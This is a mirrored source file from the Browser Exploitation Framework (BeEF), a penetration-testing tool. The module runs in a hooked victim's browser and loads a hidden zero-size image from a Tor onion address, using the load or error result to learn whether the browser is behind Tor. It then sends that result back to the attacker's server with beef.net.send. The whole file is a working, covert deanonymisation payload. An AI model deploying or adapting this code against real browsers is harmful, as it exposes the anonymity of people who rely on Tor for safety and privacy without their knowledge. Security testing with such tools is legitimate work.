Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/network/detect_tor/command.js
1155 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
9
if (document.getElementById('torimg')) {
10
return "Img already created";
11
}
12
13
var img = new Image();
14
img.setAttribute("style","visibility:hidden");
15
img.setAttribute("width","0");
16
img.setAttribute("height","0");
17
//img.src = 'http://dige6xxwpt2knqbv.onion/wink.gif';
18
//img.src = 'http://xycpusearchon2mc.onion/deeplogo.jpg'
19
img.src = '<%= @tor_resource %>';
20
img.id = 'torimg';
21
img.setAttribute("attr","start");
22
img.onerror = function() {
23
this.setAttribute("attr","error");
24
};
25
img.onload = function() {
26
this.setAttribute("attr","load");
27
};
28
29
document.body.appendChild(img);
30
31
setTimeout(function() {
32
var img = document.getElementById('torimg');
33
if (img.getAttribute("attr") == "error") {
34
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Browser is not behind Tor');
35
} else if (img.getAttribute("attr") == "load") {
36
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Browser is behind Tor');
37
} else if (img.getAttribute("attr") == "start") {
38
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Browser timed out. Cannot determine if browser is behind Tor');
39
};
40
document.body.removeChild(img);
41
}, <%= @timeout %>);
42
43
});
44
45